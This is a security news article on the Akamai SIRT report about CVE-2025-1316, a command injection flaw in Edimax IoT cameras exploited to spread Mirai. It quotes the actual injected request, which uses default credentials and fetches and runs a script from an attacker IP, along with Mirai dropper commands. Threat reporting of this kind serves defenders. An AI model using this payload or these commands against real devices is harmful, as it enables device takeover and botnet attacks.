A recent alert from the Akamai Security Intelligence and Response Team (SIRT) has highlighted the exploitation of a severe command injection vulnerability in Edimax Internet of Things (IoT) devices.
This vulnerability, designated as CVE-2025-1316, has been actively used by multiple botnets to spread Mirai malware.
Mirai is notorious for compromising IoT devices and orchestrating distributed denial-of-service (DDoS) attacks.
The CVE-2025-1316 vulnerability targets the /camera-cgi/admin/param.cgi endpoint in Edimax devices, allowing attackers to inject commands into the NTP_serverName option within the ipcamSource parameter.
For successful exploitation, default credentials such as admin:1234 are used. Although the CVE specifically mentions Edimax’s IC-7100 network camera, the vulnerability likely affects a broader range of Edimax devices.
Akamai SIRT first detected activity targeting this vulnerability in their honeypots in early October 2024.
However, the proof of concept (PoC) exploit dates back to June 2023. The earliest exploit attempts observed were in May 2024, with spikes in September 2024 and January-February 2025.
These attacks were attributed to different botnets, including Mirai variants.
Example Exploit Code
The exploit injects commands to execute a shell script on the device. Here’s an example of the request payload:
/camera-cgi/admin/param.cgi action=update&ipcamSource=/ntp.asp?r=20130724&NTP_enable=1&NTP_serverName=;$(cd /tmp; wget http://193.143.1[.]118/curl.sh; chmod 777 curl.sh; sh curl.sh)&NTP_tzCityNo=16&NTP_tzMinute=0&NTP_daylightSaving=0
This script downloads and executes a Mirai malware variant for different architectures, such as ARM, MIPS, and x86.
Once downloaded, the malware is executed through commands like:
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget http://193.143.1[.]118/x86;
curl -O http://193.143.1[.]118/x86;
cat x86 > OSGt;
chmod +x *;
./OSGt joined;
rm -rf OSGt
Similar commands are used for other architectures like MIPS and ARM.
Two distinct botnets have been identified exploiting this vulnerability:
Both botnets exploit several known vulnerabilities, including a Docker API exploit and CVE-2024-7214 affecting TOTOLINK devices.
To protect against these threats:
As the legacy of Mirai malware continues to impact IoT security, staying informed and proactive is crucial for safeguarding these devices.
The ongoing exploitation of Edimax IoT devices highlights the persistent risks associated with legacy firmware and the pervasive threat of Mirai malware.
Regular monitoring and proactive security strategies are essential in protecting against evolving cyber threats.
Are you from SOC/DFIR Teams? – Analyse Malware Incidents & get live Access with ANY.RUN -> Start Now for Free.
A new project has exposed a critical attack vector that exploits protocol vulnerabilities to disrupt…
A threat actor known as #LongNight has reportedly put up for sale remote code execution…
Ivanti disclosed two critical vulnerabilities, identified as CVE-2025-4427 and CVE-2025-4428, affecting Ivanti Endpoint Manager Mobile…
Hackers are increasingly targeting macOS users with malicious clones of Ledger Live, the popular application…
The European Union has escalated its response to Russia’s ongoing campaign of hybrid threats, announcing…
Venice.ai has rapidly emerged as a disruptive force in the AI landscape, positioning itself as…